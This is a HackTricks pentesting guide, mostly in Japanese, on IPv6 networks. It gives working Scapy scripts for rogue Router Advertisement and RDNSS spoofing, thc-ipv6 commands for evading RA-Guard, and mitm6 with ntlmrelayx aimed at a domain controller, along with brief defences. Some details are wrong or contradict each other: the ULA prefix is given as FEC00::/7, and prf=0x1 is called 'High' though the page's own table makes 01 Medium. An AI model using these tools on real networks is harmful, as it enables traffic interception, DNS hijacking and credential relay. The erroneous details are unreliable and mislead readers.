Pentesting IPv6

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

IPv6 基本理論

ネットワーク

IPv6 アドレスはネットワークの整理とデバイス間の相互作用を向上させるよう構成されています。IPv6 アドレスは次のように分割されます:

  1. Network Prefix: 最初の48ビットで、ネットワークセグメントを決定します。
  2. Subnet ID: 続く16ビットで、ネットワーク内の特定のサブネットを定義するために使われます。
  3. Interface Identifier: 最後の64ビットで、サブネット内のデバイスを一意に識別します。

IPv6 は IPv4 にある ARP プロトコルを省いていますが、代わりに二つの主要なメッセージを持つ ICMPv6 を導入しています:

  • Neighbor Solicitation (NS): アドレス解決のためのマルチキャストメッセージ。
  • Neighbor Advertisement (NA): NS に対するユニキャスト応答、または自発的なアナウンス。

IPv6 にはまた特別なアドレスタイプがあります:

  • Loopback Address (::1): IPv4 の 127.0.0.1 に相当し、ホスト内部での通信に使われます。
  • Link-Local Addresses (FE80::/10): ローカルネットワークでの通信向けで、インターネットルーティングには使用されません。同一リンク上のデバイスはこのレンジを使って相互に発見できます。

IPv6 をネットワークコマンドで実用的に使う方法

IPv6 ネットワークとやり取りするために、いくつかのコマンドを使えます:

  • Ping Link-Local Addresses: ping6 を使ってローカルデバイスの存在を確認します。
  • Neighbor Discovery: ip neigh を使ってリンク層で発見されたデバイスを表示します。
  • alive6: 同一ネットワーク上のデバイスを発見するための代替ツール。

以下はコマンド例です:

ping6 –I eth0 -c 5 ff02::1 > /dev/null 2>&1
ip neigh | grep ^fe80

# Alternatively, use alive6 for neighbor discovery
alive6 eth0

IPv6アドレスはローカル通信のためにデバイスのMACアドレスから導出できます。以下は既知のMACアドレスからLink-local IPv6アドレスを導出する簡易ガイドと、IPv6アドレスの種類およびネットワーク内でIPv6アドレスを発見するための方法の概略です。

Given a MAC address 12:34:56:78:9a:bc, you can construct the Link-local IPv6 address as follows:

  1. Convert MAC to IPv6 format: 1234:5678:9abc
  2. Prepend fe80:: and insert fffe in the middle: fe80::1234:56ff:fe78:9abc
  3. Invert the seventh bit from the left, changing 1234 to 1034: fe80::1034:56ff:fe78:9abc

IPv6アドレスの種類

  • Unique Local Address (ULA): ローカル通信向けで、パブリックインターネットルーティングを意図していません。プレフィックス: FEC00::/7
  • Multicast Address: 一対多通信向け。マルチキャストグループ内のすべてのインターフェースに配信されます。プレフィックス: FF00::/8
  • Anycast Address: 最寄りへの通信(one-to-nearest)向け。ルーティングプロトコルに従い最も近いインターフェースに送信されます。2000::/3 のグローバルユニキャスト範囲の一部です。

アドレスプレフィックス

  • fe80::/10: Link-Localアドレス(169.254.x.xに類似)
  • fc00::/7: Unique Local-Unicast(IPv4のプライベートレンジ 10.x.x.x、172.16.x.x、192.168.x.x に類似)
  • 2000::/3: Global Unicast
  • ff02::1: Multicast All Nodes
  • ff02::2: Multicast Router Nodes

ネットワーク内のIPv6アドレスを発見する方法

  1. ネットワーク内のデバイスのMACアドレスを取得する。
  2. MACアドレスからLink-local IPv6アドレスを導出する。

方法2: マルチキャストを使用する

  1. ローカルネットワーク上のIPv6アドレスを発見するために、マルチキャストアドレス ff02::1 に対して ping を送る。
service ufw stop # Stop the firewall
ping6 -I <IFACE> ff02::1 # Send a ping to multicast address
ip -6 neigh # Display the neighbor table

IPv6 Man-in-the-Middle (MitM) Attacks

IPv6ネットワークでMitM攻撃を実行するための手法はいくつか存在します。例えば:

  • Spoofing ICMPv6 neighbor or router advertisements.
  • Using ICMPv6 redirect or “Packet Too Big” messages to manipulate routing.
  • Attacking mobile IPv6 (usually requires IPSec to be disabled).
  • Setting up a rogue DHCPv6 server.

フィールドでのIPv6アドレスの特定

サブドメインの探索

IPv6アドレスに関連している可能性のあるサブドメインを見つける方法の一つは、検索エンジンを活用することです。例えば、ipv6.* のようなクエリパターンが有効です。具体的には、Googleで次の検索コマンドを使用できます:

site:ipv6./

Utilizing DNS Queries

IPv6アドレスを特定するために、いくつかのDNSレコードタイプを問い合わせることができます:

  • AXFR: 完全なゾーン転送を要求し、広範なDNSレコードを明らかにする可能性があります。
  • AAAA: IPv6アドレスを直接照会します。
  • ANY: 利用可能なすべてのDNSレコードを返す広範なクエリです。

Probing with Ping6

組織に関連するIPv6アドレスを特定した後、ping6ユーティリティを使ってプローブできます。このツールは特定したIPv6アドレスの応答性を評価するのに役立ち、隣接するIPv6デバイスの発見にも役立つ可能性があります。

IPv6 Local Network Attack Techniques

以下のセクションでは、グローバルプレフィックスを知らなくても同一の /64 セグメント内 で実行できる実践的な layer-2 IPv6 攻撃を扱います。下に示すすべてのパケットは link-local で、ローカルスイッチのみを通過するため、ほとんどの環境で非常にステルス性が高くなります。

System Tuning for a Stable Lab

IPv6トラフィックを扱う前に、自分のテストで環境が汚染されないようにホストをハードニングし、大量のパケット注入/スニッフィング時に最高のパフォーマンスが得られるようにすることを推奨します。

# Enable promiscuous mode to capture all frames
sudo ip link set dev eth0 promisc on

# Ignore rogue Router Advertisements & Redirects coming from the segment
sudo sysctl -w net.ipv6.conf.all.accept_ra=0
sudo sysctl -w net.ipv6.conf.all.accept_redirects=0

# Increase fd / backlog limits when generating lots of traffic
sudo sysctl -w fs.file-max=100000
sudo sysctl -w net.core.somaxconn=65535
sudo sysctl -w net.ipv4.tcp_tw_reuse=1

パッシブ NDP & DHCPv6 Sniffing

すべての IPv6 ホストは 自動的に複数のマルチキャストグループに参加する (ff02::1, ff02::2, …) および SLAAC/NDP 用に ICMPv6 を送受信するため、パケットを一切送信せずにセグメント全体をマッピングできます。 以下の Python/Scapy ワンライナーは、最も興味深い L2 メッセージをリッスンし、誰が誰かを色付きタイムスタンプ付きログで表示します:

#!/usr/bin/env python3
from scapy.all import *
from scapy.layers.dhcp6 import *
from datetime import datetime
from colorama import Fore, Style, init
import argparse

init(autoreset=True)

# Human-readable names for protocols we care about
DHCP6_TYPES = {
DHCP6_Solicit:    'Solicit',
DHCP6_Advertise:  'Advertise',
DHCP6_Request:    'Request',
DHCP6_Reply:      'Reply',
DHCP6_Renew:      'Renew',
DHCP6_Rebind:     'Rebind',
DHCP6_RelayForward:'Relay-Forward',
DHCP6_RelayReply: 'Relay-Reply'
}
ICMP6_TYPES = {
ICMPv6ND_RS:      ('Router Solicitation',  Fore.CYAN),
ICMPv6ND_RA:      ('Router Advertisement', Fore.GREEN),
ICMPv6ND_NS:      ('Neighbor Solicitation',Fore.BLUE),
ICMPv6ND_NA:      ('Neighbor Advertisement',Fore.MAGENTA),
ICMPv6ND_Redirect:('Redirect',             Fore.LIGHTRED_EX),
ICMPv6MLReport:   ('MLD Report',           Fore.LIGHTCYAN_EX),
ICMPv6MLReport2:  ('MLD Report',           Fore.LIGHTCYAN_EX),
ICMPv6MLDone:     ('MLD Done',             Fore.LIGHTCYAN_EX),
ICMPv6EchoRequest:('Echo Request',         Fore.LIGHTBLACK_EX),
ICMPv6EchoReply:  ('Echo Reply',           Fore.LIGHTBLACK_EX)
}

def handler(pkt):
eth_src = pkt[Ether].src if Ether in pkt else '?'
eth_dst = pkt[Ether].dst if Ether in pkt else '?'
ip6_src = pkt[IPv6].src if IPv6 in pkt else '?'
ip6_dst = pkt[IPv6].dst if IPv6 in pkt else '?'

# Identify protocol family first
for proto,(desc,color) in ICMP6_TYPES.items():
if proto in pkt:
break
else:
if UDP in pkt and pkt[UDP].dport == 547:  # DHCPv6 server port
for dhcp_t,name in DHCP6_TYPES.items():
if dhcp_t in pkt:
desc = 'DHCPv6 – '+name; color = Fore.YELLOW; break
else:
return  # not a DHCPv6 message we track
else:
return  # not interesting

print(color + f"[{datetime.now().strftime('%H:%M:%S')}] {desc}")
print(f"  MAC  {eth_src} -> {eth_dst}")
print(f"  IPv6 {ip6_src} -> {ip6_dst}")
print('-'*60)

if __name__ == '__main__':
argp = argparse.ArgumentParser(description='IPv6 NDP & DHCPv6 sniffer')
argp.add_argument('-i','--interface',required=True,help='Interface to sniff')
argp.add_argument('-t','--time',type=int,default=0,help='Duration (0 = infinite)')
a = argp.parse_args()
sniff(iface=a.interface,prn=handler,timeout=a.time or None,store=0)

結果: 数秒で完全な link-local topology (MAC ⇄ IPv6) を取得でき、active scans に依存する IPS/IDS システムの検知を誘発しません。

Router Advertisement (RA) Spoofing

IPv6 ホストは default-gateway の検出に ICMPv6 Router Advertisements を利用します。 正規のルーターよりも more frequently に偽造 RAs を注入すると、デバイスは黙ってあなたを default-gateway に切り替えます。

#!/usr/bin/env python3
from scapy.all import *
import argparse

p = argparse.ArgumentParser()
p.add_argument('-i','--interface',required=True)
p.add_argument('-m','--mac',required=True,help='Source MAC (will be put in SrcLL option)')
p.add_argument('--llip',required=True,help='Link-local source IP, e.g. fe80::dead:beef')
p.add_argument('-l','--lifetime',type=int,default=1800,help='Router lifetime')
p.add_argument('--interval',type=int,default=5,help='Seconds between RAs')
p.add_argument('--revert',action='store_true',help='Send lifetime=0 to undo attack')
args = p.parse_args()

lifetime = 0 if args.revert else args.lifetime
ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
ICMPv6ND_RA(routerlifetime=lifetime, prf=0x1)/  # High preference
ICMPv6NDOptSrcLLAddr(lladdr=args.mac))

send(ra,iface=args.interface,loop=1,inter=args.interval)

実際にレースに勝った後にトラフィックを転送する:

sudo sysctl -w net.ipv6.conf.all.forwarding=1
sudo ip6tables -A FORWARD -i eth0 -j ACCEPT
sudo ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

Router Advertisement フラグ (M/O) & デフォルトルーター優先度 (Prf)

Flag意味クライアントの挙動への影響
M (Managed Address Configuration)セグメント上でDHCPv6によるステートフルなアドレス割り当てが利用可能であることを示す。DHCPv6 spoofingが機能する強い指標。
O (Other Configuration)ホストがDNS、NTPなどのその他のパラメータにDHCPv6を使用すべきことを示す。アドレスは通常SLAACから来るが、DNSはDHCPv6で乗っ取られる可能性がある。
M=0 / O=0純粋なSLAAC型ネットワーク。DHCPv6は現れない可能性が高い;rogue RA / RDNSSに注力し、mitm6ではなくそちらを狙う。
M=1 / O=1混在した環境。DHCPv6とSLAACの情報が共存する可能性があり、spoofingの攻撃面が最も広い。

During a pentest you can simply inspect the legitimate RA once and decide which vector is feasible:

sudo tcpdump -vvv -i eth0 'icmp6 && ip6[40] == 134'   # capture Router Advertisements

ダンプ内の flags [M,O] フィールドを探してください – 推測は不要です。

RAヘッダ内の Prf (Router Preference) フィールドは、複数 のゲートウェイが存在する場合に不正ルータがどれだけ有利に見えるかを制御します:

Prf valueBinary意味
High10クライアントはこのルータを Medium/Low のいずれよりも優先します
Medium (default)01ほとんどすべての正当なデバイスで使用されます
Low00より良いルータが存在しない場合にのみ選択されます

When generating the packet with Scapy you can set it through the prf parameter as shown above (prf=0x1 → High). Combining High Prf, a short interval, and a non-zero lifetime makes your rogue gateway remarkably stable.


RDNSS (DNS) Spoofing via RA

RFC 8106 は RA 内に Recursive DNS Server (RDNSS) オプションを追加することを許可します。セグメントが SLAAC-only(M=0 / O=0)でクライアントが DHCPv6 と通信しない場合、これは DNS ハイジャックの主要な手段です。クライアントのサポートは implementation-dependent(実装依存)なので、RDNSS が常に使用されると仮定せず、対象の OS をラボで検証してください。

#!/usr/bin/env python3
from scapy.all import *
import argparse

p = argparse.ArgumentParser()
P = p.add_argument
P('-i','--interface',required=True)
P('--llip',required=True)
P('--dns',required=True,help='Fake DNS IPv6')
P('--lifetime',type=int,default=600)
P('--interval',type=int,default=5)
args = p.parse_args()

ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
ICMPv6ND_RA(routerlifetime=0)/
ICMPv6NDOptRDNSS(dns=[args.dns],lifetime=args.lifetime))

send(ra,iface=args.interface,loop=1,inter=args.interval)

同じパケットは、検索ドメインが重要な IPv6 専用またはデュアルスタック環境で、短縮名の名前解決経路を汚染するための DNSSL オプションを含めることもできます。攻撃をクリーンに停止する場合は、同じオプションを含む revert RA を送信し、lifetime=0 にしてください。

RA-Guard 回避の実践

RFC 7113 は、単純な RA-Guard の導入が、IPv6 ヘッダチェーン全体を正しく解析できない場合や、フラグメントで fail open(フォールスルー)する場合に回避され得る理由を文書化しています。これは新しい研究ではありませんが、多くのアクセススイッチが部分的なフィルタリングしか実装していないため、運用上はいまだに重要です。

最近の thc-ipv6 ビルドはツールでこれを直接示しています:

# Hop-by-Hop header before the RA
sudo atk6-fake_router6 -H eth0 2001:db8:1337::/64

# Fragmentation / destination-options variants against weak RA-Guard
sudo atk6-fake_router6 -F eth0 2001:db8:1337::/64
sudo atk6-fake_router6 -D eth0 2001:db8:1337::/64

# Flooded variant with full RA-Guard evasion and DHCPv6 flags set
sudo atk6-flood_router26 -F -m eth0

これらは、通常の偽造 RA がフィルタされていることを確認した後でのみ使用してください。-H/-D/-F が突然ホストにあなたの rogue router を受け入れさせるようなら、switch が実際の ICMPv6 RA payload ではなく固定された IPv6 header のみをマッチさせている証拠です。

DHCPv6 DNS Spoofing (mitm6)

正当な RA が M および/または O をアドバタイズすると、Windows クライアントは通常アドレスや補助的な設定のために DHCPv6 リクエストを送出します。mitm6 はその挙動を利用して DHCPv6 に応答し、短い lease であなたの link-local IPv6 を DNS として挿入します。これにより次が可能になります:

  • NTLM relay attacks (WPAD + DNS hijacking)
  • routers に触れずに内部の名前解決を傍受する
  • 特定の hosts や domains にのみ poisoning を限定できるため、低ノイズなターゲティングが可能になる

典型的な使用法:

# DNS takeover without sending rogue RAs
sudo mitm6 -i eth0 --no-ra -d corp.local --host-allowlist wsus

# Pair it with IPv6-capable relay listeners
sudo ntlmrelayx.py -6 -t ldaps://dc.corp.local -wh wpad

Useful details from current mitm6 builds:

  • --no-ra keeps the attack DHCPv6-only when the network detects rogue RAs.
  • -d/--domain and --host-allowlist keep poisoning tight instead of hijacking every query on the segment.
  • --ignore-nofqdn reduces noise from clients that omit the DHCPv6 FQDN option.

If the segment is pure SLAAC (M=0 / O=0), mitm6 is usually the wrong primitive. Use rogue RAs / RDNSS instead, and keep the higher-level relay logic in the WPAD/relay page.

Defences

  • RA Guard / DHCPv6 Guard / ND Inspection on managed switches.
  • Port ACLs that allow only the legitimate router’s MAC to send RAs.
  • Monitor for unexpected high-rate RAs or sudden RDNSS changes.
  • Disabling IPv6 on endpoints is a temporary workaround that often breaks modern services and hides blind spots – prefer L2 filtering instead.

NDP Router Discovery on Guest/Public SSIDs and Management Service Exposure

多くの家庭向けルータは、すべてのインターフェースで管理デーモン(HTTP(S)、SSH/Telnet、TR-069 等)を公開しています。いくつかの展開では、“guest/public” SSID が WAN/コアにブリッジされ、IPv6-only になっていることがあります。ルータの IPv6 が毎回再起動で変わる場合でも、NDP/ICMPv6 を使って確実にそのアドレスを把握し、ゲストSSID から管理プレーンに直接接続できます。

Typical workflow from a client connected to the guest/public SSID:

  1. Discover the router via ICMPv6 Router Solicitation to the All-Routers multicast ff02::2 and capture the Router Advertisement (RA):
# Listen for Router Advertisements (ICMPv6 type 134)
sudo tcpdump -vvv -i <IFACE> 'icmp6 and ip6[40]==134'

# Provoke an RA by sending a Router Solicitation to ff02::2
python3 - <<'PY'
from scapy.all import *
send(IPv6(dst='ff02::2')/ICMPv6ND_RS(), iface='<IFACE>')
PY

RA はルーターの link-local と、しばしばグローバルアドレス/プレフィックスを公開します。link-local のみが判明している場合、接続時にはゾーンインデックスを指定する必要があることを忘れないでください。例: ssh -6 admin@[fe80::1%wlan0]

代替: 利用可能なら ndisc6 suite を使用する:

# rdisc6 sends RS and prints RAs in a friendly way
rdisc6 <IFACE>
  1. guest SSID から IPv6 経由で公開されたサービスに到達する:
# SSH/Telnet example (replace with discovered address)
ssh -6 admin@[2001:db8:abcd::1]
# Web UI over IPv6
curl -g -6 -k 'http://[2001:db8:abcd::1]/'
# Fast IPv6 service sweep
nmap -6 -sS -Pn -p 22,23,80,443,7547 [2001:db8:abcd::1]
  1. 管理用シェルがラッパー経由でパケットキャプチャツール(例: tcpdump)を提供している場合、引数/ファイル名インジェクションがないか確認し、-G/-W/-z のような追加 tcpdump フラグを渡してローテート後にコマンドを実行できるか検証する。参照:

Wildcards Spare tricks

対策/注意点:

  • 管理をゲスト/パブリックブリッジにバインドしない。SSID ブリッジには IPv6 ファイアウォールを適用する。
  • 可能な範囲でゲストセグメントの NDP/RS/RA をレート制限およびフィルタリングする。
  • 到達可能でなければならないサービスには、authN/MFA と強力なレート制限を適用する。

参考文献

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする